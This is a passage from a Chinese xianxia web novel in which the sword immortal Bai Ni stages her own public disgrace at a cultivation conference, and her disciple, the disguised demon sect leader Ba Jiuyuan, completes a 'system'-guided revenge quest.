只因明明她都已经把话说到这个地步,霸九渊却依旧在为圣墟剑仙说话。 他宁愿怀疑自己的下属。 也不肯去怀疑她。 霸九渊:“是不是……北麟犯下了不可饶恕的罪行?” 白霓:“你知道他没有的。” 白霓:“火尊北麟此人行事虽然是冲动了些,但向来明公正义,能辨是非,他不会犯下什么重罪的。” “……” 他陷入了纠结和沉默。 而纠结过后的结果却照旧是: “不……一定是有什么苦衷。” 霸九渊望向她的眼神重新变得坚定。 “我不相信你会那么做。” “……” 到这种地步,白霓算是知道对这个人是怎么都说不通了。 也许非要到她握着他的手,将剑送入火尊北麟身体里的那一刻,他才能醒悟“圣墟剑仙”和她白霓,是完完全全不同的两个人。 于是也不再多言,白霓扭头就走。 可霸九渊好像也不是真的那么自信,否则他也不会在她转身瞬间大喊她的名字。 “白霓——!!!!” 白霓只当是听不到,继续前行。 但再是走出了几步,她便再也走不了了。 只因抓住她的那只手是那样用力,几乎要把她手臂给折断。 他盯着她的眼神是那样充满了怒火,对她的愤恨。 霸九渊:“你明明知道北麟他是什么样的人,却还是要为了师门任务就要杀了他??!” 白霓:“对。” 白霓:“这么多年来我一直都是这么做的。” 话已经说出口了。 白霓:“世人说我白霓大慈大悲、好生恶杀,殊不知赞扬的只是由圣墟一手创造出来的圣墟剑仙,而并非我白霓本人。” 她已经停不下来了。 白霓:“只是因为是师门任务、是只有我才能做得到的事,所以我才会去做。” 也不想停下来了。 白霓:“其实我根本无所谓那些人是生是死,我救下来的到底是些什么人,杀死的又是些什么人。” 白霓:“别说今天杀死一个火尊北麟,即使是整个天魔宗覆灭,那所有的一切对我来说……” 白霓:“其实都没有一点所谓。” 霸九渊一定会失望的。 他肯定会失望的。 “……” 是啊。 他果然失望了。 135 第135章 ◎正派之首爱上反派宿敌的第二十六天◎ 从那一个瞬间开始,便什么都不同了。 尽管很快,快得恍然只是错觉,但白霓仍是没有错漏霸九渊在那一个瞬间,从他眼睛里、脸庞上流露出来的表情。 “愤怒” “失望” “厌恨” 一如她曾经想象的那样,霸九渊在得知真相后,所有可能在他身上出现的感情全都出现了。 至于那“恶心反胃”的情绪是后知后觉的,像是碰到了什么脏东西,他突然猛地甩开了她的手臂。 但很快,他好像意识到了自己做了不该做的事情。 于是为了掩饰,他马上垂首说道: “试炼是师门交付给弟子的任务,师傅不宜插手,弟子去去就回,还请师傅在此等候。” 当听到他这么说的时候,白霓便猜到了他是如何打算的。 果不其然。 半日过后,他浑身浴血的归来,带回来的却不是火尊北麟的项上人头,而是他的号火令。 “弟子不负所托,乘胜归来,请师傅收下。” 当看到他恭恭敬敬将火尊北麟的号火令双手呈上的时候,白霓只是忽然不禁觉得,霸九渊要是认真起来,演技多少也是不赖。 毕竟他这边嘴上口口声声说: “从今往后徒儿便是您的亲传弟子了,日后定将圣墟门楣发扬光大!” 另一边,在一刻钟之前对系统说的却是: “我要让她身败名裂。” “让圣墟剑仙之名在这世间永不复存在。” …… 霸九渊对系统说话时候的表情、语气,白霓实在是太深刻了。 那种对一个人的深痛恶觉、刻骨铭心的失望,那种被骗后不能立刻爆发,于是变得十分隐忍的愤怒,跟他在之后对她说每句话时的神情、每次她望向他的表情,都实在是天差地别。 是啊。 如果不是亲眼见过,又怎么会相信他跟此刻左一句“师傅,那万幽寒潭的寒毒可是已经解开了?”,右一句“若是未解开,不如让徒儿去为您寻来驱毒的灵药,您好早日康复”的好徒儿是同一个人? 霸九渊能当上天魔宗主果然是理由的。 他真的足够能忍。 他分明厌恶她厌恶得不得了,甚至好像到了谈之觉得恶心的地步了,表面上依旧与她言笑晏晏,对她嘘寒问暖。 甚至当得知她要去面见圣墟门主,竟是还能如同过去一样义愤填膺,毫无芥蒂地对她说: “白霓你可不是傻子,所以千万别再当傻子,让人给随便欺负去了。” 霸九渊终于开始有了攻略者的样子。 为了复仇忍辱负重,对她攻略得这么用心、如此努力。 只可惜她实在不知道该对他说什么。 于是点了点头后,只能看着他微笑。 【白霓因为你的话而十分感动!】 【白霓对你表示了很大程度的信任、依赖和认可!】 【师徒情谊+2】 【师徒情谊+5】 【你们的师徒情谊愈发深厚了!】 …… 变的人不止是一个霸九渊。 圣墟门主也变了。 白霓往日见他,他若不是开门见山地发布任务,要不然就是上来劈头就骂。 今日倒是十分难得。 他一整个人和颜悦色,非但爽快地认可了那枚号火令,不再为难,甚至还亲口承认了霸九渊是她的亲传弟子。 圣墟门主:“好!既然他展现出了自己的实力,便说明他的确有成为你亲传弟子的本事和资质!” 圣墟门主:“从今往后,他风逸尘就是你白霓的亲传弟子了,圣墟不会再有人因为身份而刁难他!” 他说了不止是这两句话。 先是夸奖她有看人的眼光,往日哪哪都不好的霸九渊一下子变得十分完美。 又对她嘘寒问暖。 说这么多年来她真的辛苦了,没有她就不可能有今日的圣墟,过去是他头脑发昏,认不清现实和她的付出,但今后再也不会了。 白霓很了解白望霄。 她知道人不可能那么容易改变。 更何况是他。 因此她一路没有开口,从头到尾只是安静地聆听。 直到圣墟门主把准备好的所有场面话都说完了之后,她终于等到了他的正题: “唉,以前是我们让你太辛苦了,现在我们也觉得这实在不对,所以也决定要改变了。” “圣墟的几个堂主特意挑了几个还算可以的弟子,他们想把人送到你那里好生磨练一番。” “你不必有压力,也不必收他们为弟子,随意指点一番便可。” “不过我们也不强求,所以如果你不愿意的话……” 白望霄说了很长的一大段。 但白霓没有太仔细听他说的话。 因为当他说出第一句话的时候,她的脑海就隐隐约约浮现出了一个两个词语。 奈何怎么想都想不起来。 直到耳畔传来: “你先把圣剑交予我们吧,我们会尽力去帮它寻找剑主。” “以前是你辛苦了。” “所以以后你就好好休息吧。” ……才终于记了起来。 是啊。 “卸磨杀驴” “兔死狗烹” 原来不需要等到她失去了“圣剑之主”的头衔、没有了“慈心”的光环那日…… 现在,他们就决定要抛弃她了。 136 第136章 ◎正派之首爱上反派宿敌的第二十七天◎ 白霓交出了圣剑。 也同意了将自己的剑法传授给他们选出来的精英弟子。 因为他们所有人都看得很重的东西,对她来说都不是那么重要。 圣剑不重要。 剑法不重要。 名声头衔什么的……则更加不重要了。 于是哪怕明知圣墟此举是为了卸磨杀驴,是为了培养出第二个人来取代她的存在,却还是对因为她过久的沉默而紧张起来的白望霄应了声: “是,门主。” 反正也已经没有人会为了她去生气了。 所以…… 就更加无所谓了。 …… 因为不是人人都能拿得起那把圣剑,于是白霓亲自将它送回了原本的地方。 又在圣墟门主的陪同下,见了一遭被选定的精英弟子们,才回到了剑仙府。 白霓回剑仙府的时候已是深夜。 她好像已经很习惯在这个时间回去了。 毕竟一如白望霄说的那样,圣墟交给她的任务太繁重,她忙得应接不暇,每每回去已是夜色深沉。 放在以前,夜晚的剑仙府没有光,黑漆漆的像是一座死掉的山。 直到霸九渊来到这里,才终于多了几分生气。 因为他会点亮所有的灯。 里面的、外面的、山路两旁的,所有的灯,他会不嫌麻烦地全部点亮。 以至于此时此刻落在白霓的眼中,那些昏黄忽明忽灭,汇聚成了浩瀚巨大的光海。 而霸九渊是第二次站在那个位置等她回来了。 虽说是一模一样的表情,但其实她跟他都应该知道,什么都不可能回得去了。 正如霸九渊明明知道她去面见圣墟门主是为了交付任务,却只字不提奖励,不提那个跟他回家的承诺。 也许是早忘掉了。 即使还记得,她想他也已经不再需要了。 无论是承诺,是人,还是与她有关的,这所有的一切全部都—— 霸九渊:“你的剑呢?” “……” 他开口的时候人正好在她视野的正中。 当听不见也不行,倘若说是被圣墟收回去了也有些不妥。 于是白霓沉吟一息,回的是: “不太趁手,准备换一把。” 霸九渊似乎并不买账。 他长腿一跨,径直挡在她的去路上,声线也随之压低了下来。 霸九渊:“我是问你,你的剑在哪里?” 白霓不知道该如何开口,索性干脆不应声。 可她不答却比开口更加糟糕。 那个人已经见识过了圣墟是如何待她的,因此马上明白了圣剑的去处,当即便拉着她的手,想要带她去讨回公道。 霸九渊:“走,我们去把它拿回来。” 白霓侧首望了过去。 “……” 他又因为她生气了。 其实在这一刻白霓也会觉得有些难以分辨。 倘若说他是演的,他的愤怒又太像是真的。 可如果要说是真的……那又不可能是真的。 但无论如何,已经答应还回去的东西,确实没有再取回来的道理。 于是白霓只是任霸九渊拉着她向外走出了两步,便不再走了。 迎着他望回来的视线,她只是很平淡地说: “你知道它不该属于我。” “放在我这里也是耽误了它。” 霸九渊拽住她的手终于没有再使力。 可恍如听到了什么好笑的笑话般,他禁不住撇嘴嘁笑,仿佛没眼看她一样垂首扶额。 他那个动作实在是太像是对一个人失望至极,于是自暴自弃。 因此……白霓的确没有想到他会突然抬头望来。 而便是这一刹那的抬眸,成为了她永远都不可能忘掉的瞬间。 霸九渊:“耽误?” 霸九渊:“我真是服了,你居然去为一把破剑操心。” 霸九渊:“你说怕耽误了它?” 霸九渊:“那你被它耽误的几十年又该怎么算?!” 霸九渊:“白霓,来,你自己来告诉我。你、白霓,被圣剑之主、圣墟剑仙耽误的几十年,究竟能有谁,来替你不值?!” “……” 他的眼里有光。 霸九渊看着她的眼睛里,有他点亮的灯海闪烁。 应当是这幅光景太过美丽、温柔、震撼得让人失语,才会让白霓久久说不出话,甚至不由自主地笑了出来。 不管是攻略也好,复仇也罢。 无论他这一刻到底在想什么,在对她说出这番话时会有几分真情、多少真假…… 那些全部都无所谓了。 因为这是她第一次听到…… 白霓:“不是还有你吗?” 白霓:“有你替我不值,那就已经足够了。” 不是对圣墟剑仙。 而是对她白霓说的话。 所以她也想给出,她能够给的全部回应。 【白霓因为你的话得到了治愈,并感受到了莫大的安慰!】 【师徒情谊已累计到最高!】 【攻略目标“白霓”已经对宿主展现出了绝对无法被动摇的完全信赖!】 【请宿主尽快完成任务“领悟天级功法‘不灭九式’-‘一章不屈’”。一旦任务完成,可直接进入复仇最终阶段!】 他不就是想对她复仇、想要她身败名裂吗? 既然他想要。 那她就全部给他。 137 第137章 ◎正派之首爱上反派宿敌的第二十八天◎ 任是白霓也未曾想到,兜兜转转了几个时辰,那把交还出去的圣剑竟是又回到了她的手上。 霸九渊送回来的。 他来时是夜半,她正在打坐冥思,冷不丁被被敲门声哐哐哐地叫醒,等打开门,看到的便是一脸凶神恶煞的霸九渊,和躺倒在地上的圣剑。 “没有什么耽误不耽误。” “如果非要说耽误,那也一定是这把破剑耽误了你。” “你想用就用。” “不想用就挂门上当门闩,它就算是断,也必须要断在你的手上。” 恶狠狠地留下这么一番话后,他又风风火火地走了,只留下她和剑相顾无言。 “……” 白霓最终还是将圣剑捡了回去。 虽然霸九渊说它是破剑,她自己也曾说此剑并不趁手,可终究要算下来,圣剑却是她除了最初学剑时用的木剑,带在身边的唯一一把剑。 没有任何一个人、一样物件,能抵得上她与圣剑共同度过的冗长岁月。 他们曾一起走过龙潭虎穴。 也一并淌过尸山血海。 曾一同被人杀入绝境。 也曾并肩背水一战,携手杀出一片生天。 可能正是因为经历了太多的风霜雨雪。 所以在夜半无人之时、生死绝境之际,哪怕是像她白霓这样的人,也曾冒出过“也许圣剑会在某一个时刻突然觉醒”这样荒谬的想法。 但到头来……确实是她一厢情愿了。 圣剑虽被她白霓所用,世人也称呼她以“圣墟剑仙”之名,可她永远成不了它的剑主,无论是十年、五十年,一百年。 因为千万人中,自然有它的心之所向。 “剑仙大人。” “弟子们已具在庭中等候。” “哐当!” 剑鞘断了。 沉寂了那么多年,就像是死了一样的圣剑,终于在今天第一次活了过来。 仿佛为了摆脱她,奔向它真正的主人,它斩断了剑鞘,宁可与尘埃一地,也不愿与她为伍。 白霓垂眸静静看着卧在地上的圣剑和四分五裂的剑鞘,突然不知道该说什么好。 于是最后思来想去,也不过只是道了声: “恭喜你了。” 恭喜它终于得偿所愿,觅得良宿。 明珠蒙尘,得见天日。 不必再被与她捆绑到一道,弄虚作假行不义之事了。 白霓拾起圣剑,只当是察觉不到手心那恍如红铁灼烧一般的痛感,对门外圣墟弟子淡声应道: “我这就来。” …… 圣剑炙热得灼人。 它似乎在与剑主发生共鸣,同时排斥剑主之外的人。 越是往门外走,越是靠近庭落。 来自手心的热度越是滚烫。 但在走出黑暗甬道之前,一道黑影先是挡住了尽头的白光。 “剑仙大人。” 白霓斜睨了一眼突然出现、向她作揖问好的圣山守剑人,知道他所来为何,因而直接开门见山了。 “剑是我亲自取回来的。” “你转告门主,让他不必忧心。” “是。” 当守剑人的身影如黑烟消散,当白霓终于走到青霄白日之下,她终于是见到了。 圣剑选择的那个人。 “见过剑仙大人!!!!” 白霓看人向来先看眼睛。 因为一个人的眼神是藏不住的。 饱经世变、久历风尘的老者,即便是变回了小孩貌,他的眼神依旧不改沧桑。 如同岁月在大树留下的年轮,一个人经历的所有往事,全部都会在他的眼睛里留下无法磨灭的痕迹。 而大奸大恶、刁蛮狡猾之人,是不可能有这么一双清亮明丽、充满了生机朝气的眼睛。 那是在见识过黑暗绝望,依然相信光明的眼睛。 于是白霓只是不禁看着她笑了。 “好久不见了,江雪儿。” “内门考核一别后,修为可有长进?” …… 白霓很记得江雪儿。 因为她的元气十足、无论何时何地都充满了能量,的确让人印象深刻。 何况如果有这么一个人,只要一见到你,哪怕相隔千里、越过人海,都要飞奔赶过来对你低头弯腰大喊一声:“见过剑仙大人!!!!” 任是谁都会记得的。 白霓便是这么记住了江雪儿的名字。 而后来记得她这个人…… 是因为听说她是一个半路出家的剑修。 说是半路出家,是由于她原本并不修剑,是后来遇见了圣墟剑仙,才改而修剑。 坦白说,有这般变故的修士一般难成气候,可偏偏江雪儿在剑上很有天赋。 白霓以前不过是随口指点了她两句,便见她极快通悟,进步神速。 但比起用剑的天赋,该说她的人品更加当眼。 江雪儿善良、正义、正直,显然不会被圣墟的那些老家伙压制。 况且如果是她的话,天魔宗主也未必会和圣墟剑仙形如水火。 照他们两个人的性格来看,应该会很合得来…… “哎哟我去你怎么在这里!” “你是圣墟弟子啊!” ……原来已经很合得来了。 138 第138章 ◎正派之首爱上反派宿敌的第二十九天◎ 若非她开口打断,白霓也不知道他们二人的叙旧究竟何时会停。 先是大家都是圣墟弟子的身份说了几句。 过后近况又聊了几句。 上回相见的事回顾了几句。 最后彼此修为的事攀比了几句。 要不是听到她轻咳了一声,他们两个人似乎能一直这么聊下去。 当余光瞥见霸九渊的意犹未尽,那好像想着之后要提两壶酒去与人叙旧的模样,白霓说不上是什么感受。 就好像……突然完全认清了现实。 霸九渊在她面前,永远不可能是方才那副轻松自在怡然自得的模样。 他是天魔宗主的时候,别说每回和她一打照面便是满脸痛苦,恨不得与她老死不相往来。 哪怕他不是天魔宗主了,如今只是她的亲传弟子,也是烦躁气闷居多,从未有过开怀时刻。 霸九渊:“你怎么了?” 霸九渊:“剑鞘呢?” 白霓没有看他,只*是垂眸淡声回了一句: “碎了。” 他突然的安静似是愣了下,但紧接着便语气狐疑地问: “那剑鞘不是你亲自上雷劫谷……费了好大劲才寻来的稀世材料?” “连渡劫的雷都劈不断的东西?怎么会碎?” 即使因为霸九渊的话,那零碎不全的剑鞘碎片蓦然在脑海中闪过,白霓的声色平静依旧,似古井无波,听不出分毫动容。 “碎了便是碎了。” 她终是看了他一眼。 但仅是一息便将视线收回,干脆利落地与他擦身而过。 白霓:“你身为我圣墟剑仙的亲传弟子,修为却迟迟不见长进。” 白霓:“不要再管与你毫无干戈的事情了,去修炼吧。” 不必去看,白霓也十分清楚霸九渊会有多么恼火。 毕竟他连一句话都不想留下,雷厉风行地径直走了。 “……” 是啊。 他们之间也就只能这样了。 …… 自圣墟提出让她交还圣剑的那日起,白霓的人生忽而慢了下来。 因为圣墟没有再给她委派任何一个任务。 可他们之所以不让她出任务,应该也不是真心觉得她辛苦,也该到休养生息的时候了。 毕竟如果真是那样……就不会日日派圣墟的精英弟子到她的剑仙府来,接受她的指点。 他们嘴上说是“以后你好好休息吧”。 心里盘算的,不过也只是想榨干她仅剩的最后一点的价值。 白霓心中门清。 却不说破。 毕竟当她的人生一陷入停滞,她周边的所有人、所有事,突然有了飞速的进展。 就好比圣剑。 就好比霸九渊。 那把沉寂了前后将近一百五十年的圣剑,如今终是觉醒了器灵。 而它觉醒器灵后,开口说的第一句话便是: ‘放手吧。’ 是。 这句‘放手吧’是对她白霓说的。 剑鞘碎得四分五裂的那一日,白霓既没有将圣剑交还给守剑人,后来也没有把它送还给江雪儿。 她谁都没有告诉,无事发生般地把它留在了身边。 一次又一次握在手中,仿佛在逼它强行认主。 于是它自然而然地认为: ‘白霓,你五十年都没有做到的事情,现在不可能做到,以后也更不可能做到。’ ‘即使你如今豪取强占,也改变不了冥冥之中运势所趋。’ ‘终有一日,将会物归原主。’ ‘她终究会踩在你的身上,成就新的传说。’ 其实也不必说是“终有一日”了。 这些日子来,有关于“小剑仙”和“九霄豪侠”的传闻,她听得也不算少。 那些所有没有委任给她白霓的师门任务,全部都分派给了圣墟的精英弟子们,其中落在江雪儿身上的最多。 如此一来二去,“小剑仙”的名声正如圣墟所愿的越传越远,越传越广。 至于那总是和她名字形影不离的“九霄豪侠”,那自然是对豪侠之名情有独钟的霸九渊。 他是白霓派去与江雪儿一同出任务的。 虽说是有意支开他不假,但白霓心知,像霸九渊那样的人,闭门造车对他来说是行不通的。 他的力量源自于“侠”,出自于“义”。 若要逼他快速领悟天级功法的一章,放在到处涉险的江雪儿身边是最适合不过。 而他也果真不负期望,在为保护生死攸关的江雪儿的瞬间,领悟了《不灭九式》一章“不屈”的箴言: “在那一个瞬间,你知道自己一定会变得坚不可摧。” 【叮咚!】 【恭喜宿主领悟天级功法“不灭九式”-“一章不屈”!】 【可喜可贺!可喜可贺!】 【亲爱的宿主,通过您长久以来坚持不懈的努力,“背叛”系列复仇计划终于进入了最终章!】 【请您与登场角色“江雪儿”一同调查“林城血祭”背后的真相,向复仇目标发出致命一击!彻底让她身败名裂!让圣墟剑仙之名在这世间永不复存在!】 【提示:你有怀疑过吗?有些人也许并不像是你看上去的、所以为的样子。】 【提示:她表面说是对一切并不在意、毫不关心,然而在她的内心,又是真的能对拥有的一切都能潇洒放手吗?】 【提示:除恶扬善只是在所有人眼前上演的表象,可是……在看不到的地方,她又是真的站在善的一方吗?】 一切都快要结束了。 这是她白霓能为圣墟、为圣剑、为江雪儿、为霸九渊、为整个修真界…… 能够做到的、最后的事。 139 第139章 ◎正派之首爱上反派宿敌的第三十天◎ 白霓确实花了一些时间去思索,究竟要怎么样做,才能让自己身败名裂。 都说把黑染白很难,把白染黑却很容易。 可如果白色是一片汪洋大海,仅仅是一滴黑墨,只会被无限稀释,然后消失不见。 这个比方放在“圣墟剑仙”的身上,白霓不觉得有多过分。 毕竟她是从没有一刻停歇,在修真界活跃了整整五十年,直到现在。 她做过了太多的好事,救过了太多的人。 多到即使她一时失足,也会有千万人站出来为她辩解。 为了从根本毁掉一切…… 白霓不由想起了五十年前的“醉月侠阁”。 那个暗中作恶后,再假仁假义、亲自出马,以宣扬侠风的宗门。 当同样的故事放在圣墟剑仙的身上,即便仅有一次,恐怕所有人都会开始怀疑: ‘那个救了我的人……跟想要杀我的,其实会不会是同一个人?’ ‘会不会是因为她,我的人生才遭遇了本来没有必要的苦难?’ 因此在霸九渊被支开、和江雪儿一同闯荡江湖的那些时间里,白霓在做的,便是这些安排。 于是最后才有了调查“林城血祭”背后的真相。 其实这不止是霸九渊的任务,也是白霓对江雪儿的试炼。 因为白霓很认同圣剑所说的,江雪儿终究会踩在她的身上,成就新的传说。 江雪儿必须要这么做。 她不能永远被称作“小剑仙”,不能一直活在“圣墟剑仙”之名下。 她要找到属于她自己的路,而不是去复刻“圣墟剑仙”的足迹。 可不破不立。 因此她要做的第一步,便是从“圣墟剑仙”的阴影中走出来。 哪怕圣墟剑仙是她江雪儿崇拜了半生的信仰,她也要有战胜、揭穿她的勇气。 所幸—— 在经历无比煎熬的挣扎,甚至一度想过放弃之后—— 江雪儿终于做到了。 遥遥地望向风尘仆仆赶到修真大会上的身影,白霓露出了由衷的笑。 “你们来了。” …… 当江雪儿和霸九渊抓着她安排给他们的魔修,出现在举办修真大会的仙台。 任是白霓也不曾想到,反应最快的竟是圣墟门主。 仅仅是发现他们直冲主位上的她而来,他瞬间就察觉到了不对,想要直接杀人灭口。 只可惜在这世间,能在她白霓眼皮子底下杀人的人实在是少之又少。 纵然圣墟门主的动作已经快出了他的极限。 他的剑依旧未能出鞘,那句“哪里来的魔修竟敢闯到此地来!死不足惜!”也是被冷不防缠绕住脖颈的透明丝线所截停在了嗓子眼,说不出来。 如果说哪里让白霓略感意外。 那便是圣墟门主明知自己再动就可能会死,却依然选择宁可死也要拼杀掉那个魔修,护住他一手创造的圣墟剑仙和他的圣墟。 若非白霓向他投过去了一眼。 若非他心有所感地望来。 也许他真的已经死了。 /:. 江雪儿:“见过剑仙。” 白霓循声抬眸。 只见那个以前只要一遥遥见到了她,哪怕穿越人海,都要飞奔到她跟前,对她喊上一句“见过剑仙大人!!!!”的小剑修,终究是跟昔日不同了。 也不知道是不是她对她的试炼太过残酷。 在失去了信仰、面对血淋淋的现实后的江雪儿,非但人看上去沉稳了许多,连声线都变得成熟稳重。 字字句句,发人深省。 江雪儿:“敢问剑仙大人。见到此人,您对林城血祭可有话想说?” 四周来自各大名门正派的掌门阁主宗师顿时议论纷纷。 “林城血祭?” “那不是剑仙大人曾经手的事件?当时多亏剑仙大人,那整整一个城的百姓才从魔修手中死里逃生、幸免于难。” “几年前的旧事,为何如今突然提起?” 要论“有话想说”,白霓倒是准备了不少。 就连现下被他们抓在手上的魔修的台词,都是她亲自准备的。 但看了这么多年的真实案例……白霓算是发现这世间没有恶人会自己主动交代自己犯下的罪过。 毕竟在他们眼中,那根本连罪过都算不上是。 因此嘈杂声中,白霓的神色平静如故。 她甚至好像并不把江雪儿放在眼里,视线轻描淡写地掠过她之后,便落在了霸九渊的脸上,连话也是先对他说的。 世人皆知圣墟剑仙是清冷沉寂。 唯独在今日,第一次见到她如此体贴亲切,甚至眉目含笑,一言一行皆是对亲传弟子的在意宠爱。 “徒儿怎么现在才到?我不是早给你传音送信,让你早些到修真大会来,我好把你介绍给师叔师伯们?” “罢了,这些事等会再说。” “你先到为师这里来吧。” “那里不是你该在的位置。” 其实白霓知道他不会过来的。 他不可能会过来的。 毕竟他忍辱负重了那么多日,如今复仇的机会就在眼前,又有谁能放过这么好的,痛击仇敌的机会? 是啊。 霸九渊没有放过她。 他放过任何人,也不可能放过她。 那双眼中没有一丝一毫对她的顾及。 “你不配被人称作圣墟剑仙,更没有资格为人师表。” 他决绝,义无反顾,无比坚定地想让她身败名裂。 “我没有你这样的师傅。” 140 第140章 ◎正派之首爱上反派宿敌的第三十一天◎ 白霓能感受到霸九渊对她的恨。 因为如果不是那么恨的话,他这一刻想要毁掉她的样子不会是那么的认真、努力,竭尽全力。 霸九渊:“白霓!你配不上圣墟剑仙之名!” 霸九渊:“五年前林城事变,魔修潜入城中,拿活人生魂血祭以换取自身修为。” 霸九渊:“世人痛恨那群魔修罪大恶极,感恩你救他们于水火。” 霸九渊:“整整一个城的百姓为感谢你救命之恩,戒荤茹素一月为你祈福,甚至后来还专门建筑了碑石,只为让林城后人永世铭记你的恩情。” 霸九渊:“无数人信你、爱你,殊不知他们眼中救世济民的大英雄,暗中却是与要戕害他们的魔修沆瀣一气!” 霸九渊:“对于五年前林城血祭,圣墟剑仙勾结魔修一事,你当真就没有任何想说的吗?!” 全仙台顿时哗然一片。 无数双视线聚焦在了白霓的脸上。 然而面对那一双双形如针刺的目光,白霓只是垂眸淡笑了声,再抬眼时依旧是那副漫不经心、不以为意的样子。 白霓:“空口无凭……张嘴就来。” 白霓:“我应该要说些什么吗?” 见她抵赖到底,一旁的江雪儿眼底流露出了彻底的失望。 她也并不多言,直接出手解开了魔修的禁制,让证人来与她对峙。 “五年前,是你隐瞒了身份找来,说可助我们潜入林城。” “这枚令牌便是你当时交予我们入城的媒介。” “追踪符对你有反应,证明这枚令牌的确曾经你手。” 白霓分了一个眼神过去。 “确实是我的东西。” “不过在五年前便意外丢失了。” 于是那魔修接着道: “即便入城,要献祭整整一城的生魂也并非易事。” “于是你提出在水源下毒,以引起骚乱恐慌,我们好趁乱行事。” “当时我留了个心眼,将你给的毒物留下些许,后来才从古籍中发现此毒出自葬仙谷,而仅有圣境强者,方能自由出入葬仙谷!” 白霓没有出声。 这自是更加助长了那魔修的气焰: “你如何解释,为何事变当日,明明林城与外界的交流途径被结界所切断,偏偏你却到的那么刚好?!” 白霓抬了抬眼皮,淡声道:“当时我有任务在身,林城是我途径之地。” “那毒不是寻常毒物,须得天水方可解开。可天水距离林城万里之远,若是御剑来回也至少要一周,你却一夜之间将天水带回,这如何解释?!” 白霓闻言想起当年,不由地便笑了。 “我为救林城百姓不惜消耗自身寿元,一夜时间往返,十分合理。” “胡扯!” 白霓:“这怎么能说是胡扯?” 白霓:“好吧,即便你所说是真……但那样做对我有什么好处?” 白霓:“若为求财,林城事变后我一无所得。” 白霓:“若为求名,我圣墟剑仙之名已是无人不知无人不晓,又何必冒险去做这种事?” 此言一出,本来还心生疑窦的听众一下被打消了疑虑。 毕竟不是五十年前,而是五年前,她圣墟剑仙已是名震天下,确实没有理由去铤而走险。 是,白霓本来的确没有这个理由。 但现在,她有了。 “因为你白霓并非真正的圣剑之主!因为圣墟剑仙之名你受之有愧!” “剑仙大人,不是剑主却硬是要强占圣剑。” “被反噬的滋味……呵呵,想必一定不好受吧?” 魔修的一番话如同庞然巨石砸进了水里,白浪掀天,周遭的舆论声几乎要把白霓生生淹没。 可她并没有去听四周那石破天惊般的动荡。 只是安静地看着霸九渊。 明明他所盼望的,她身败名裂的一刻将要到来,此刻他的脸上却是混沌不明。 白霓知道他为什么会如此混乱。 因为魔修最后说的有关圣剑的几句……那是只有她和魔修才知道的交易。 霸九渊也许快要意识到什么了。 但很可惜,她不会给他反应过来的机会的。 “剑仙大人?这……并非真正的圣剑之主……究竟是如何一回事?” “莫非圣剑没有认主?!” “请您解释一下!” “是啊,您也稍微证明一下吧!圣剑之主除了您怎么会另有其人呢?!” 好像这修真大会上所有稍微有点身份的人,全部在对她说话。 然而从始至终,白霓只是看着霸九渊的眼睛,直到此时垂眸淡笑,也没有去看除了他以外的任何人。 白霓:“罢了。” 白霓:“既然你们想看……那便看吧。” 于是当缠绕的纱布一层层解开,所有人看到的是血肉模糊、没有一块完整皮肤的右手手掌。 也不知是眼前的景象来得太触目惊心,还是事实造成的冲击力太大,偌大的仙台一时寂若死灰。 极静之下,只听白霓不紧不慢地开口了。 “是。” “不是圣剑之主却强占圣剑,这反噬来得的确厉害。” “但只要杀掉圣剑之主……” “这圣剑不就自然而然……只能归我所有了?” 白霓的话是看着霸九渊说的。 剑却是朝着江雪儿去的。 她这一剑没有丝毫留手,江雪儿可能会死也说不定。 不过……那个人不可能眼睁睁看着她死的。 是啊,霸九渊果然挡下了。 他用她千辛万苦谱写出来,又力排众议传授给他的功法—— 阻隔在了她和她要杀的人之间。 霸九渊:“白霓你……!” “锵——!” 白霓不知道他想说什么,也不在意他要说什么,出手便是无限打断,那是连半个字眼也不想听到从他的口中传出。 白霓:“用我教给你的功法来挡我的剑,你倒真是好本事。” 他不需要思考。 白霓:“当初我不顾非议将你收为亲传弟子。” 也没有必要去思考。 白霓:“后来又亲自将天级功法传承给你。” 倘若这世间一定要有人去做恶人的位置…… 白霓:“到头来……你就是这样来回报我的?” 那就由她来做吧。 话落!白霓将战力一瞬拉到最满! 在圣境强者的威压之下,缠绕在凶刀刀身上的烂布条气化成飞烟。 霸九渊也不得不解开换脸的幻术,用上全力来抵挡杀气纵横的圣墟剑仙。 因而当烟尘散开,所有人都看得清清楚楚: “天魔宗主……怎会在此?” “难不成……他是为了保护真正的圣剑之主,才隐瞒身份来到此地的?” 他霸九渊为了实现心中的侠义,才成为了天魔宗主,前前后后承担了数十年的骂名。 现在。 他终于可以回去当他最爱的九霄豪侠了。 【叮咚!】 【亲爱的“分系统编号49865”,通过你的积极协助,攻略者“霸九渊”完成了他的攻略任务,成功实现了复仇计划!】 【作为协助攻略者完成攻略任务的奖励,你获得了物品“回溯怀表”。若想获得更多超实用道具,请继续……R&*%!】 【警告!】 【主系统正在遭受攻击!】 【请“分系统编号49865”立刻停下攻……DN(#HT*#:!】 【停下……@_@QUNB_!】 【停……!1835n9&!】 【……】 …… 现在,他们所有人都自由了。 140-150 141 第141章 ◎正派之首爱上反派宿敌的第三十二天◎ “万幽寒潭” 当白望霄将她从修真大会上带回圣墟,解开她身上的缚仙索,对她说“你自由了,你现在可以去你想去的任何地方”…… 白霓的第一反应,就是万幽寒潭。 一听到这个地方,白望霄不由愣了一下,显然是不能理解她的决定。 但他最终还是尊重地叹声道:“我只是凡人,不能理解像你们这些已经一只脚登上天界的半仙。” “既然你这么说,那也应该有你的道理。” 应是白望霄的语气实在太过心平气和,白霓才会多看了他一眼。 结果这么一看,他的话又变得更多了。 “世人只知修士的修为分‘凡灵仙圣’四境,殊不知圣境一阶与仙境九阶是天渊之别,与灵境九阶更是两种概念。” “即使圣剑觉醒,它在新剑主手上能发挥出来的威力,也尚不足在你手时的十分之一。” “她……不如你。” 白霓垂眸,眼睫挡住了眼睛,从语气也听不出她此刻的心绪。 “只是涉世未深羽翼未丰,你们好好教导。” 白望霄冷笑了下。 “她可不愿意听我们这些老头子的。” 见白霓不语,他摆了摆手,放弃了一般打算任其自流了。 “罢了,罢了。一代人有一代人的命数。” “如今四海升平,终归不是从前那个黑暗混乱的时代了。” 说到这里的时候,白望霄突然停顿了。 可他那言犹未尽的样子显然是还有话想说。 而当白霓抬眸望过去的时候,果然也等来了他的最后一句。 “这些年来……你辛苦了。” “……” 他这短短数字倒是比那日长篇大论说了一大堆话要真诚得多。 于是白霓也对他颔首,再开口道: “我们都已经尽力了。” 她分明也没说什么特别的话。 然而便是在白望霄闻言的那一瞬间热泪盈眶、老泪纵横。 “……” 是啊。 毕竟他们真的都已经尽力了。 